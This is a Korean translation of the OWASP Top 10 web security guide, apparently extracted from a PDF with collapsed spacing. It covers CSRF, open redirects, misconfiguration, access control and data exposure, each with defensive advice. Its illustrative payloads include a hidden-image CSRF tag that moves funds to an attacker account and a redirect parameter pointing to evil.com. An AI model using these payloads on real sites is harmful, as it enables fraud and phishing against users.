예방 방법직접객체참조취약점을예방하기위해서는각각의사용자들이접근할수있는객체를보호하기위한 방법을선택하는것이필요하다. (예, 객체숫자, 파일이름):

1. 사용자또는세션당간접적인객체참조사용. 이를통해공격자들이비인가자원을직접목표로하는것을예방한다.실예로, 자원의 DB 키를사용하는대신에, 현재사용자에승인된 6개의자원에대한드롭다운리스트를이용하여사용자는사용자가선택한것을가르키는숫자 1 에서6까지를이용한다. 애플리케이션은사용자당서버의 DB 키에간접적인참조를하는맵을가지고있다. OWASPESAPI(기업보안 API) 는연속적이고랜덤한접근참조맵을포함한다. 참조맵은개발자가직접적인객체참조를제거하기위해사용할수있다.

2. 접근확인. 신뢰되지않은곳으로부터직접적인객체참조를사용하는경우요청된객체에대해 사용자가권한이있는지를확인하기위해접근통제를포함해야한다.

취약한직접객체참조A4보안

취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

쉬움취약점 분포

일반적탐지 가능성

쉬움영향도중간

특정애플리케이션/ 사업

익명의 외부 공격자뿐만 아니라사용자도 본인계정으로 서버를손상시킬 수 있다는것을 고려해야 한다. 내부자들 역시자신의 행동을은폐하려고 들 수있다.

공격자는 승인되지않은 접근 권한을얻거나 시스템에대해 알아보기 위해기본 계정, 사용하지않는 페이지, 패치되지 않은 결함, 보호되지 않는파일이나 디렉토리등에 접근한다.

보안 구성 오류는 플랫폼, 웹 서버, 애플리케이션 서버, 데이터베이스, 프레임워크, 사용자 지정 코드를 포함하는애플리케이션 스택의 모든 수준에서발생할 수 있다. 개발자와 시스템 관리자는전체 스택이 제대로 구성되었는지확인하기 위해 함께 작업해야 한다. 자동스캐너는 누락 된 패치, 잘못된 기본 계정사용, 불필요한 서비스 등을 감지하는 데유용하다.

어떤 결함은공격자에게 특정시스템 데이터나기능에 대한 무단접근 권한을 주게된다. 이러한결함으로 때로는시스템이 완전히해킹될 수 있다.

시스템은 여러분이완전히 파악하지못한 상태에서 손상될 수도 있습니다. 모든 데이터는 도둑맞을 수 있고, 서서히 수정될 수도있다.

이에 대한 복구비용은 비쌀 것이다.

공격 시나리오예시시나리오 1: 애플리케이션 서버 관리 콘솔이 자동으로 설치된 후제거되지 않았다. 기본 계정들은 변경되지 않았다. 공격자는여러분들의 서버에 기본 관리 페이지를 발견했고, 기본 패스워드로

로그인하여, 시스템을 장악하였다.

시나리오 2: 디렉토리 목록을 보는 기능이 서버에서 비활성화되지않았다. 공격자는 디렉토리 내용들을 보면서 아무 파일이나 찾을 수있다는 것을 알게 된다. 공격자는 컴파일 해 둔 모든 자바 클래스를

찾아 다운로드 후 역추적 기법을 이용해 디컴파일한다. 공격자는여러분의 애플리케이션에 심각한 접근통제 결함을 찾아낸다.

시나리오 3: 애플리케이션 서버 구성이 사용자에게 잠재적으로 노출될수 있는 근본적인 결함을 반환되는 스택 추적을 허용한다. 공격자는

추가적인 정보가 담긴 에러 메시지가 나오면 좋아한다..

시나리오 4: 애플리케이션 서버에 샘플 애플리케이션이 설치 되어있는상태에서 제거되지 않고 프로덕션 서버로 활용되고 있다. 이전에설명했듯이 샘플 애플리케이션은 보안 결함을 보유하고 있고,

공격자들은 여러분들의 서버를 손상시키는 데에 이를 사용할 수 있다.

취약성 확인 방법혹시여러분의애플리케이션의스택모든부분에보안강화가되고있는가? 예를들자면:

1. 운영체제, 웹/앱서버, DBMS, 애플리케이션이나코드라이브러리들도포함해서보안업데이트기간이지난소프트웨어가있지는않은가?. (새로운 A9 참고)

2. 불필요한기능이활성화되어있거나설치되어있지는않은가? (예 – 포트나서비스, 페이지, 계정, 권한등)

3. 기본계정들및관련된패스워드들이아직활성화되어있고한번도변경을하지않았는가?

4. 여러분의에러처리부분이스택추적가능한수준으로자세하거나사용자에게보여지는에러메시지가너무지나치게자세하지는않은가?

5. 개발중이신프레임워크의보안설정과라이브러리들의보안설정을보증하실수있는가? (예 - 스트럿츠나스프링, ASP.NET 등)

합의된반복가능한애플리케이션보안설정프로세스가없다면, 시스템은높은위험을가지고있는것이다.

참고 문서OWASP

• OWASP 개발자 가이드: 구성

• OWASP 코드 리뷰 가이드: 에러 처리

• OWASP 테스팅 가이드: 형상관리

• OWASP 테스팅 가이드: 에러 코드 테스팅

• OWASP Top 10 2004 – 설정 관리 오류

이 영역에 대한 추가적인 요구사항은, 보안 설정(V12)에 대한ASVS 요구사항 영역을 참고하세요.

외부

• 웹 서버 보안 강화에 대한 PC Magazine 기사

• 환경적 보안 결함에 대한 CWE Entry 2

• CIS 보안 구성 가이드/벤치마크

예방 방법다음 모든 사항을 구축하기를 권장한다:

1. 적절히 차단되어 있어 쉽고 빠르게 다른 환경을 적용할 수있게 만들어 주는 반복가능하고 보안 강화 프로세스. 개발, QA, 생산 환경은 (각 환경에서 사용되는 각기 다른 암호등으로) 동일하게 구성되어야 함. 이런 프로세스를 통해새로운 보안 환경을 설정하는데 드는 노력을 최소화할 수있다.

2. 각각의 적용된 환경으로 모든 소프트웨어 업데이트와패치를 적절한 시점에 적용할 수 있는 프로세스. 이런프로세스에는 모든 코드 라이브러리까지 포함. (새로운 A9 참고).

3. 컴포넌트간 효과적이고, 안전하게 분리될 수 있는 강력한애플리케이션 아키텍처.

4. 향후 보안 구성 오류나 누락된 패치를 감지하기 위해서는실시간 스캔을 고려하고 주기적으로 감사를 수행한다.

보안설정오류A5보안

취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

어려움취약점 분포

드뭄탐지가능성

평균영향도심각

특정애플리케이션/ 사업

누가민감한정보와백업시스템에접근할수있는지고려해야한다. 현재사용하지않는정보와전송정보, 심지어는고객의브라우져까지포함하고, 내부와외부모든위협들까지포함해야한다.

공격자들은암호문을직접풀지는않는다. 대신키를훔치거나중간공격을하기도하고, 서버에저장된평문으로된정보나사용자의브라우져에서송수신중인정보를훔친다.

가장흔한결함은민감정보를암호화하지않은것이다. 암호화했을때, 취약한키생성과관리, 그리고취약한알고리즘사용이일반적인데, 특히취약한패스워드로해쉬알고리즘을사용하는경우에그렇다. 브라우저의취약점은매우흔하고발견하기수월하나대규모의공격하기는어렵다. 외부공격자는접근상의제한때문에서버측취약점을알아내는것이어렵고, 공격하기도어렵다.

이것이실패하면보호되어야할모든데이터를쉽게해킹된다. 이러한정보는일반적으로건강기록이나인증데이터, 신용카드등의민감한내용을포함하고있다.

정보손실에대한사업적가치와평판에대한영향을고려해야한다. 이정보가노출되었을때법적책임은무엇인가? 또한평판에피해가발생할수있다는점도고려해야한다.

공격 시나리오예시시나리오 #1 : 애플리케이션은데이터베이스의신용카드번호를암호화할때자동데이터베이스암호화를사용한다. 그러나이것은평문으로된신용카드번호를검색할수있는 SQL 인젝션취약점을사용하여검색하면자동으로복호화될수있다. 신용카드번호와같은정보들은공개키를사용해서암호화되어야하고, 비밀키를사용하여복호화하는백엔드에플리케이션을사용하여야한다.

시나리오#2 : 사이트에서모든인증페이지에 SSL을사용하지않는다. 공격자는네트워크트래픽(개방된무선네트워크같은)을관찰하고, 사용자의세션쿠키를훔친다. 이후공격자는이쿠키를다시사용해서사용자의개인정보에접속할수있는세션을훔친다.

시나리오#3 : 패스워드데이터베이스는모든사람들의패스워드를저장하기위해서솔트없는해쉬함수를사용한다. 파일업로드취약점은공격자들에게암호파일을검색할수있도록한다. 모든솔트없는해쉬함수는사전에계산된해쉬함수의레인보우테이블(Rainbow Table, 해쉬함수를사용하여코딩된문서를복호화하는데사용할수있는함수들의테이블)에노출될수있다.

데이터 노출 취약성 확인 방법여러분이가장먼저해야할일은어떤정보가추가적인보호가필요한민감한데이터인지결정하는것이다. 예를들어, 패스워드, 신용카드정보, 건강기록, 개인정보는반드시보호되어야하는것들이다. 이러한정보에대해서아래와같은내용을확인한다.

1. 민감한정보들이사용중인저장공간이나백업공간에저장될때암호화되지않은긴문자로저장되지는않는가?

2. 이러한정보들이내부나외부에암호화되지않고전송되는가? 인터넷트래픽은특히위험하다.

3. 오래되었거나취약한암호알고리즘을사용하지는않는가?4. 취약한암호키가생성되었거나적절한키관리는

이루어지는가? 또는순환이누락되지는않는가?5. 브라우저보안지침이나헤더가민감한데이터가

제공되었거나브라우저에보내졌을때놓치지는않는가?

문제를피할수있는더완벽한설정을위해서 ASVS 의암호화요구사항 (V7), 데이터보호요구사항 (V9), SSL (V10) 참고

참고 문서OWASP - 더완벽하게요구사항을만족하기위해서 ASVS 요구사항의 V7 암호화, V9 데이터보호및 V10 통신보안을참고

• OWASP 암호저장참고쪽지

• OWASP 패스워드저장참고쪽지

• OWASP 전송계층보호참고쪽지

• OWASP 테스팅가이드: SSL/TLS 테스팅챕터

외부

• CWE 310 항목 : 암호문제

• CWE 312 항목 : 민감정보의평문저장

• CWE 319 항목 : 민감정보의평문전송

• CWE 326 항목 : 취약한암호

예방 방법불안전한암호화, SSL 사용, 정보보호의전체적인위험은Top10의범위를넘어선다. 그렇긴하지만모든민감한정보를위해서최소한아래와같은조치가필요하다.1. 이러한정보들을보호하기위해계획한위협을고려해서

현재사용하지않거나전송중인 모든민감한정보를위협으로부터보호할수있는방법으로암호화해야한다.

2. 불필요한민감정보는저장하지말고, 저장된정보는가능한빠른시간내에파기. 저장되지않은정보는도난되지않음.

3. 강력한표준알고리즘과강력한키를사용하고, 정해진장소에서적절하게관리. FIPS(Federal Information Processing Standard) 140 에서제시하는적절한암호화모듈을사용하는것을고려해야한다.

4. bcrypt, PBKDF2, scrypt와같이패스워드를보호용으로설계된알고리즘으로패스워드를저장해야한다.

5. 민감한정보를수집하는데자동완성기능을사용하지말고, 민감한정보를포함하고있는페이지를캐쉬에저장하는기능을사용하면안된다.

민감데이터노출A6보안

취약성

공격방법

기술적영향위협원

사업적영향

y

특정애플리케이션공격가능성

쉬움취약점 분포

일반적탐지가능성

평균영향도중간

특정애플리케이션/ 사업

누구나네트워크를통해애플리케이션에응답을보낼수있다. 이애플리케이션에익명의사용자와일반사용자들은특권기능(privileged function)에접근이가능한가?

공격자는 URL이나파라미터를변조해서인증된사용자가된다. 이접근이정당한가? 익명의사용자는숨겨놓은기능(private functions)에접근하지못하도록해야한다.

애플리케이션의보호기능은항상제대로작동하지않고있다. 기능수준의보호는설정을통해관리된다. 이설정이잘못된경우가있고, 개발자는코드가적절한지검사를하지않고있다.

취약점을탐지하는것은의외로쉽다. 하지만공격자에의해만들어진페이지(URL)와기능을찾아내기란쉬운일이아니다.

취약점은공격자가권한이없는기능에접근을가능하게해준다. 최고관리자기능(Administrative functions)이주요공격목표가된다.

노출된기능과데이터의사업적가치를고려해야한다.

또한취약점이일반에게공개될경우의사업적영향을고려해야한다.

공격 시나리오예시시나리오 #1: 공격자는브라우저로목표 URL로접근시도한다. 아래 URL을따라가게되면인증이필요하다. “admin_getappInfo”페이지에접근하기위해서는관리자권한이필요하다.

http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

만약인증되지않는사용자가해당페이지에접근할수있다면취약점이존재하는것이다. 관리자가아닌인증된사용자가“admin_getappInfo” 페이지에접근이되면, 이것도취약하다그래서많은공격자들이관리자페이지를공격할것이다.

시나리오 #2: 어떤페이지에서특정한기능을호출할수있는‘action’ 파라미터를제공하며, 다른 action들은다른역할을가지고있다. 만약이러한역할이적용되어있지않다면이것은취약점이다.

강제적 접근 취약성 확인 방법애플리케이션이기능수준의접근을제한하는지찾을수있는가장좋은방법은모든애플리케이션기능을검증하는것이다:

1. 인증되지않은기능이 UI에서제공되고있지않은가?

2. 서버쪽인증과인증체크가이루어지지않았는가?

3. 서버쪽체크가공격자가제공하는정보에의존하고있지않은가?

프록시를이용해서애플리케이션이특별한역할이있는지확인하고, 그다음권한이낮은제한된페이지에다시방문해보아라. 이때서버응답이똑같다면, 취약점이존재할가능성이크다. 프록시는이와같은분석기능을지원하기도한다.

또한접근통제를구현한코드를확인할수있다. 코드와인가된인증패턴을통해단일권한요청(single privileged request)을시도할수있다. 추적되지않는패턴이어디에있는지찾기위해코드베이스(codebase)를검색해볼수있다.

자동화된도구는이러한문제들을못찾을가능성이있다.

참고 문서OWASP

• OWASP Top 10-2007 : URL 접근제한실패

• ESAPI 접근통제 API

• OWASP 개발가이드: 인가챕터

• OWASP 테스팅가이드: 경로추척시험

• OWASP 강제적브라우징아티클

접근통제요구사항에대한추가적인사항은 ASVS 요구사항부분중접근통제 (V4) 참고.

외부

• CWE 285 항목 : 부적절한접근통제(인가)

예방 방법애플리케이션은일관적이고쉽게분석할수있는인증모듈을가지고있어야한다. 이러한보호기능은애플리케이션코드외부의하나이상의컴포넌트에서제공된다.

1. 권한을관리하는프로세스는업데이트및감사가쉽게이루어져야한다. 하드코딩하면안된다.

2. 강화된메커니즘은기본적으로모든접근을차단하고, 필요시명백히허가된특정역할만접근할수있어야한다.

3. 만약이기능이워크플로우(workflow)에연관되어있다면, 정당한접근인지확실하게확인해야한다.

NOTE: 대부분의웹애플리케이션이인증되지않은링크와버튼을보여주지는않는다. 하지만 “표현계층접근제어”는사실상보호기능을제공하지않는다. 따라서컨트롤러(controller) 및사업로직(business logic)을확인해야한다.

기능수준의접근통제누락A7보안

취약성

공격방법

기술적영향위협원

사업적영향

특정애플리케이션공격가능성

평균취약점 분포

일반적탐지가능성

쉬움영향도중간

특정애플리케이션/ 사업

사용자브라우저로콘텐츠를로드할수있는사람이있는고려해야한다. 따라서강제로여러분의웹사이트로요청을보낸다. 사용자가접근하는모든웹사이트또는다른HTML 피드에서이것이가능하다.

공격자는위조된HTTP 요청을생성하고피해자들이이미지태그, XSS, 또는수많은다른기술들을통해그들을제시하려고속인다. 사용자들이인증된다면공격은성공한다.

CSRF는대부분의웹애플리케이션에서공격자들이특정행위의모든세부정보들을예측할수있도록허용한다는사실을이용한다. 브라우저는자동적으로세션쿠키와같은인증데이터를보내기때문에공격자들은합법적인것과구별할수없는위조된요청을만드는악성웹페이지를생성할수있다.

CSRF 결함은침투시험또는코드분석을통해서쉽게탐지할수있다.

공격자는피해자를속여계정상세사항업데이트, 구매, 로그인및로그아웃등피해자가합법적으로상태를변경하는동작을수행하도록한다.

해킹된데이터또는애플리케이션기능의사업적가치를고려해야한다. 사용자들이조치를취하지않았다고생각해야한다.

평판에대한영향을고려해야한다.

공격 시나리오예시애플리케이션이사용자에게비밀사항이포함하지않은상태변경요청을제출할수있도록허용한다. 예를들면:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243

그래서, 공격자가피해자의계좌에서공격자의계좌로돈을송금할요청을구성할수있다. 그리고그때공격자의통제아래다양한사이트에저장된 iframe 또는이미지요청에공격을끼워넣는다.

<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />

이미 example.com에인증하는동안피해자가공격자의사이트의어떤곳에방문한다면, 이위조된요청은자동적으로공격자의요청이승인하는사용자의세션정보에포함될것이다.

CSRF 취약성확인 방법애플리케이션이취약한지확인하기위해서, 링크및폼들이예측할수없는 CSRF 토큰이누락되었는지봐야한다. 그러한토큰이없다면, 공격자들은악의적인요청들을위조할수있다. 대체방어책은사용자에게요청을제출하는의도를증명하거나, 재인증또는진짜사용자라는일부다른증거 (예를들면CAPTCHA) 를요구하는것이다.

상태를변경하는함수는가장중요한 CSRF 공격목표가되기때문에이러한함수를호출하는링크나폼에집중해야한다. 그리고다단계처리기능은기본적인방어책이없기때문에확인해야한다. 공격자들은다양한기술또는아마도자바스크립트를사용하여연속적으로요청들을 쉽게위조할수있다. 브라우저에서자동적으로보내는세션쿠키, 출발지 IP 주소, 그리고다른정보들이 CSRF에대한방어책을제공하지않는지확인해야한다. 왜냐하면이러한정보도위조된요청에포함되어있기때문이다.

OWASP의 CSRF Tester 도구는 CSRF 결함위험을시연하기위한시험케이스를생성하는데도움이될수있다.

참고 문서OWASP

• OWASP CSRF 아티클

• OWASP CSRF 예방참고쪽지

• OWASP CSRFGuard - CSRF 방어도구

• ESAPI 프로젝트홈페이지

• ESAPI HTTPUtilities Class with AntiCSRF Tokens

• OWASP 테스팅가이드: CSRF 시험챕터

• OWASP CSRFTester - CSRF 시험도구

외부

• CWE 352 항목 : CSRF

CSRF 예방 방법CSRF를예방하기위해서는각각의 HTTP 요청에서예측불가능한토큰을포함해야한다. 최소한이런토큰들은사용자세션마다고유해야한다.

1. 선호되는옵션은숨겨진필드에고유토큰을포함하는것이다. 이렇게하면 HTTP 리퀘스트본문에값이보내지고, 노출될위험이큰 URL에포함하는것을피할수있다.

2. 고유토큰은또한 URL 자체또는 URL 매개변수에포함될수있다. 그러나토큰이이런곳에있으면공격자에게 URL이노출되고따라서비밀토큰이해킹당할수있다.

OWASP의 CSRF Guard는 Java EE, .NET, PHP 애플리케이션에이러한토큰을자동적으로포함할수있다. OWASP의 ESAPI는개발자들이 CSRF 취약점들을방지할수있게사용할수있는방법이포함되어있다.

3. 사용자에게재인증을요구하거나, 또는사용자자신을증명하도록하는것(예를들어 CAPCHA를통해)이 CSRF 보호책이될수있다.

크로스사이트요청변조(CSRF)A8보안

취약성

공격방법

기술적영향위협원

사업적영향

특정 애플리케이션공격 가능성

평균취약점 분포

광범위탐지 가능성

어려움영향도중간

특정 애플리케이션/ 사업

취약한 컴포넌트(예: 프레임워크라이브러리)는자동화 도구를 통해찾을 수 있고, 공격당할 수 있다. 또한 구체적인공격자를 넘어위협원 목록을만들어 무질서한액터까지 확장해야한다.

공격자는 스캐닝이나수동 분석으로 취약한컴포넌트를 찾을 수있다. 공격자는 필요에따라 공격코드를 자체제작하여 공격한다. 하지만 사용되는컴포넌트가애플리케이션 내부깊은 곳에 있다면 더어려워진다.

대부분의 개발팀(개발자)들은 자신들이개발한 컴포넌트/라이브러리들을 최신버전으로 관리하지 않기 때문에, 이취약점은 모든 애플리케이션에서 발생할수 있다. 많은 경우 개발자들은 자신이사용하는 모든 컴포넌트에 대해 알지못하며, 버전도 신경 쓰지 않는다. 컴포넌트에 의존적일수록 더욱 취약한환경이 된다.

인젝션, 접근통제우회, XSS 등을포함한 모든 종류의취약점들이가능하다. 영향은최소한에서부터, 공격자가 시스템을완전하게 장악하고정보를 탈취할 수있을 정도까지도가능하다.

해킹된애플리케이션에의해 통제되는사업에 대해서취약점의 의미를고려해야 한다. 이는사소한 것이 될 수도있고, 매우 위험한것일 수도 있다.

알려진 취약점이 있는컴포넌트 사용A9

보안취약성

공격방법

기술적영향위협원

사업적영향

알려진 취약점 확인 방법이론적으로는 여러분이 사용하는 취약한 컴포넌트나라이브러리를 쉽게 찾아낼 수 있지만, 불행히도 상업용 또는오픈 소스 소프트웨어에 대한 취약점 보고서는 항상 취약한버전이 정확히 어떤 것인지에 대해 기대하는 수준만큼, 그리고찾기 쉽도록 명시하지 않는다. 또한 모든 라이브러리가이해하기 쉬운 버전관리 시스템을 사용하지도 않는다. 가장심각한 것은, CVE나 NVD 에서 쉽게 검색이 가능한취약점들조차도 모두 중앙 관리 조직에 보고되지 않는다는것이다.

여러분이 취약한지 결정하기 위해서는 이러한 데이터베이스를검색하는 것 뿐만 아니라 프로젝트 메일링 리스트, 그리고취약점과 관련된 발표내용도 잘 파악해야 한다. 만일 사용중인컴포넌트 중 어느 하나라도 취약하다면, 사용중인 코드를검토하여 실제로 해당 컴포넌트의 취약한 부분을 사용하고있는지, 해당 결함이 영향을 미칠 수 있는지를 확인해야 한다.

예방 방법한 가지 선택은 여러분이 직접 만들지 않은 외부 컴포넌트를사용하지 않는 것이지만, 사실 이는 매우 비현실적이다.

대부분의 컴포넌트 프로젝트는 구버전에 있는 취약점에 대해서는패치를 만들지 않고 대신 차기 버전에서 문제를 해결한다. 때문에새 버전으로 업그레이드 하는 것이 매우 중요하다. 소프트웨어프로젝트는 다음과 같은 절차를 가져야 한다:

1. 사용중인 모든 컴포넌트들 및 버전, 의존성을 식별한다.(예. the versions plugin).

2. 공개된 데이터베이스, 프로젝트 메일링 리스트, 보안 메일링리스트를 모니터하고, 최신 상태로 유지한다.

3. 컴포넌트의 사용에 대한 보안 정책을 구축한다. 예를 들면신뢰할 수 있는 소프트웨어 개발 방법, 보안성 시험, 허용되는라이선스 등이 될 수 있다.

4. 적절한 경우에, 사용하지 않는 기능이나 (혹은) 컴포넌트의보안 약점이나 취약한 부분을 비활성화 할 컴포넌트를중심으로 보안 래퍼를 추가하는 것을 고려한다.

공격 시나리오 예시컴포넌트 취약점은 사소한 것에서부터 특정 조직을 대상으로 하는지능적인 악성코드에 이르기까지 상상 가능한 모든 종류의위험을 유발할 수 있다. 거의 모든 컴포넌트는 애플리케이션의전체 권한으로 실행되므로, 결함이 있는 모든 컴포넌트는심각하다. 아래는 2011년에 2,200만 번이나 다운로드 된 취약한컴포넌트이다.

• Apache CXF Authentication Bypass –인증 토큰을 제공하지않으면, 공격자가 어떤 웹 서비스든지 전체 권한으로 실행할 수있다. (아파치 CXF는 서비스 프레임워크이며, 아파치애플리케이션 서버와는 다르다.)

• Spring Remote Code Execution –공격자는 Spring의Expression Language 실행을 조작하여 임의의 코드를실행하고 서버까지 장악할 수 있다.

2개의 취약한 컴포넌트는 애플리케이션 사용자들이 접근가능하기 때문에, 이 라이브러리를 사용하는 모든 애플리케이션은공격에 취약하다. 하지만 애플리케이션 내부 깊숙이 사용되는다른 라이브러리들은 공격이 쉽지 않다.

참고 문서OWASP

•좋은 컴포넌트 프랙티스 프로젝트

외부

•취약한 라이브러리의 불행한 현실

•오픈 소스 소프트웨어 보안

•오픈 소스 컴포넌트 보안 문제 해결하기

• MITRE 공통취약점및노출(CWE)

• Ruby on Rails GEM의 ActiveRecord에서수정된대량할당취약점사례

특정애플리케이션공격가능성

평균취약점 분포

드뭄탐지가능성

쉬움영향도중간

특정애플리케이션/ 사업

공격자는 정상적인사용자계정으로웹사이트에리퀘스트를요청하는것처럼위장할수있다. 사용자가사용하는모든웹사이트라또는 HTML 피드에서가능한다.

공격자는검증되지않은리다이렉트링크를게시하고사용자들이클릭하도록속인다. 이링크는정상적인사이트로보이기때문에피해자들이클릭할가능성이높다. 공격자들은안전하지않은포워드를이용해서보안설정을우회한다.

애플리케이션은종종사용자들을다른페이지로리다이렉트시키거나, 비슷한방식으로포워드시킨다. 공격자가사용자를리다이렉트혹은포워드하고자하는목적지는검증되지않은파라미터에포함되기도한다.

확인되지않은리다이렉트를탐지하는것은쉽다. 전체 URL이포함된리다이렉트를찾으면된다. 포워드의경우내부페이지를목표로하기때문에찾기가비교적어렵다.

리다이렉트는사용자로하여금악성프로그램을설치하거나패스워드와같은민감한정보들을노출하도록유도한다. 안전한지않은포워드는 접근통제를우회할수도있다.

사용자의신뢰를가지고있는사업가치를고려해야한다.

악성코드가장악한다면어떻게되는가?

공격자가내부기능에접근한다면?

공격 시나리오예시시나리오 #1: 애플리케이션에 “redirect.jsp”라는페이지가있다. 이페이지는 “url” 파라미터를허용하고있다. 공격자는사용자를악성사이트로 redirect하여피싱혹은악성프로그램을설치하도록하기위해악성코드를삽입한다.

http://www.example.com/redirect.jsp?url=evil.com

시나리오 #2: 애플리케이션은해당사이트의다른페이지로가기위해 forward를사용한다. 이런작업을수행하기위해특정페이지는인증성공이후표시될페이지의경로에대한정보를파라미터로저장하고있다.

이경우공격자는파라미터에표시된 URL을조작하여애플리케이션의접근제어를우회할수있다. 정상적인인증을거치지않고서도인증이후관리자페이지로접근가능하다.

http://www.example.com/boring.jsp?fwd=admin.jsp

리다이렉트 취약성 확인 방법애플리케이션에검증되지않은리다이렉트혹은포워드가존재하는지확인하는방법은다음과같다.

1. 코드에사용된모든리다이렉트혹은포워드(.NET에서는transfer)를 점검하라. 이코드들의파라미터값에 URL이포함되어있고, 또그목적지 URL이허용된페이지목록에없다면, 취약점이존재한다.

2. 또한 spider(웹사이트정보수집도구)를이용하여해당사이트가리다이렉트(HTTP 응답코드 300-307, 보통은302)를발생시키는지점검해야한다. 리다이렉트보다앞서나오는파라미터를조사하여목적지 URL인지, 혹은그일부인지분석해야한다. 만약 URL 혹은그일부라고판단될경우목적지 URL을변경하고, 변경된목적지로리다이렉트가발생하는지관찰해야한다.

3. 만약코드를입수할수없다면모든파라미터를조사해서리다이렉트혹은포워드목적지주소의일부인지아닌지조사하고, 이경우어떤행동을하는지시험해야한다.

참고 문서OWASP

• OWASP 오픈리다이렉트아티클

• ESAPI SecurityWrapperResponse sendRedirect() method

외부

• CWE 601 항목 : 오픈리다이렉트

• WASC URL 리다이렉트공격아티클

• Google 오픈리다이렉트에대한블로그아티클

•검증되지않은리다이렉트및포워드에대한 OWASP Top 10 .NET 아티클

예방 방법아래와같은방법으로리다이렉트및포워드를안전하게사용할수있다.

1. 가장쉬운방법은리다이렉트혹은포워드를사용하지않는것이다.

2. 만약사용되고있다면, 사용자파라미터로목적지를계산할수없도록해야한다.

3. 목적지파라미터를사용해야만한다면, 제공된값이유효한지, 그사용자에게인가된것인지확인해야한다. 실제 URL 또는 URL의일부보다는목적지파라미터는매핑된값으로해야되고, 서버측코드에서그매핑값을목적지URL로변환할것을권장한다.

애플리케이션에서모든리다이렉트목적지주소가안전하다는것을확인하기위해 ESAPI를이용해서sendRedirect() 메소드를무효화할수있다.

이러한알려진취약점들을방지하는것은매우중요하다. 왜냐하면공격자들은위에서언급한결함을이용하여사용자의신뢰를얻으려하기때문이다.

검증되지않은리다이렉트및포워드A10

보안취약성

공격방법

기술적영향위협원

사업적영향

반복적인보안 프로세스, 표준보안통제 구축및 사용여러분들이웹애플리케이션보안에경험이없거나, 이러한위험을잘알고있는경우에도안전한웹애플리케이션을개발하거나, 기존애플리케이션을수정하는작업은어려울수있다. 관리해야할어플리케이션이많다면, 훨씬더힘든일이될것이다.

조직또는개발자들이비용효과적으로애플리케이션보안위험을줄이기위하여, OWASP는여러분의조직에서애플리케이션보안문제를해결하는데사용할수있는다양한무료로공개된참고자료를생산하고있다. 조직에서보안웹애플리케이션을개발하는데도움을주기위하여, OWASP는아래와같이많은참고자료를제공하고있다. 다음페이지에서는애플리케이션보안성을검증하고자하는조직을지원할수있는추가적인 OWASP 참고자료를제시한다.

이외에도여러분들이사용할수있는 OWASP 참고자료는굉장히많다. OWASP 프로젝트페이지를방문하면현재진행중인모든프로젝트를확인할수있다. 각프로젝트는현재프로젝트진척도에따라발표, 베타또는알파로분류되어있다. 대부분의 OWASP 자료는위키를통해얻을수있으며, 많은 OWASP 문서는하드카피또는이북(eBooks)으로주문할수있다.

개발자의과제+D

안전한웹애플리케이션을제작하기위하여, 애플리케이션이 "안전하다"는것이어떤의미인지정의해야한다. OWASP는애플리케이션에보안요구사항을설정하기위한지침서로 OWASP 애플리케이션보안검증표준(ASVS)을사용하기를권장한다. 아웃소싱하는경우, OWASP 보안소프트웨어계약부록을고려하기바란다.

애플리케이션보안

요구사항

개발된애플리케이션에보안요소를집어넣는것보다처음설계부터보안을고려하는것이훨씬효과적이다. OWASP는처음부터보안설계방법지침에대한좋은시작점으로 OWASP 개발자가이드, OWASP 예방참고쪽지를권장한다.

애플리케이션보안

아키텍쳐

강력하고사용가능한보안통제를구축하는것은매우어려운일이다. 표준보안통제집합은근본적으로보안애플리케이션의개발을단순화한다. OWASP는보안웹애플리케이션제작하는데필요한보안 API 모델로 OWASP Enterprise Security API (ESAPI) 프로젝트을권장한다. ESAPI는 ESAPI는 Java, .NET, PHP, Classic ASP, Python, 및 Cold Fusion에대한참조구현물을제공한다.

표준보안통제

이러한애플리케이션을구축할때, 프로세스를개선하기위하여, OWASP는 OWASP 소프트웨어보증성숙도모델(SAMM)을권장한다. 이모델은조직이직면하는고유의위험에알맞는소프트웨어보안전략을수립하고구현하는데도움을줍니다.

개발보안생명주기

OWASP 교육프로젝트는웹애플리케이션보안관련개발자교육을위하여교육자료를제공하며, OWASP 교육발표자료목록을축적하였다. OWASP WebGoat, WebGoat.NET, 또는OWASP Broken Web Applications Project에서취약점에대한실습을할수있다. 최신동향을파악하기위해서는 OWASP AppSec 컨퍼런스, 컨퍼런스교육혹은챔터미팅에참가할것을추천한다.

애플리케이션

보안교육

함께시작하기

직접 개발하셨거나 구매를 고려하고 있는 웹 애플리케이션의 보안성을 검증하기 위해서, OWASP에서는애플리케이션의 코드를 (가능하다면) 검토해 보시고, 또한 애플리케이션을 시험해 보기를 권고한다. OWASP는가능하다면 코드 보안성 검토와 애플리케이션 침투 시험을 동시에 수행하기를 권고한다. 이렇게 하면 그 두 가지기술에 대한 기술력을 높이실 수 있고, 또한 두 가지 방법을 서로 보완할 수 있다. 검증 프로세스를 지원하는 도구들은전문 분석가의 효율성과 효과성을 개선 시켜줄 수 있다. OWASP의 평가 도구는 단순히 분석 프로세스 자체를자동화하는 데에 그치지 않고, 전문가가 좀 더 효과적으로 업무를 수행할 수 있도록 도와준다.

웹 애플리케이션의 보안 검증 방법 표준화 : 웹 애플리케이션의 보안에 접근하는 엄격한 기준과 일관성 있는 표준을개발할 수 있도록 지원하기 위해 OWASP에서는 애플리케이션 보안 검증 표준(ASVS)을 발표하였다. 이 문서는 웹애플리케이션 보안 평가를 수행할 수 있도록 하기 위한 최소한의 검증 표준을 정의하고 있다. OWASP는 웹애플리케이션의 보안을 검증할 때 단지 어느 부분을 시험할지 만이 아니라, 어떤 기법이 가장 적당한지 결정하거나보안 검증에 대한 엄격한 기준을 정할 수 있도록 도와주는 ASVS를 사용하시기를 권고한다. 또한 OWASP는 외부제품을 조달하는 경우라면 ASVS를 사용하여 웹 애플리케이션 평가 서비스를 정의하고 만들 것을 권고한다.

평가 도구 세트 : OWASP 라이브 CD 프로젝트는 독립 실행 환경이나 가상 머신 환경을 지원하는 최고의 오픈 소스보안 도구들을 선별하였습니다. 웹 개발자, 시험 전문가, 보안 전문가들은 라이브 CD로 부팅해서 가상 머신을실행하거나 보안성 시험 도구에 바로 접근할 수 있다. 이 CD에서 제공되는 도구들은 설치하거나 환경을 설정 할필요도 없다.

검증자의과제+V

코드 검토

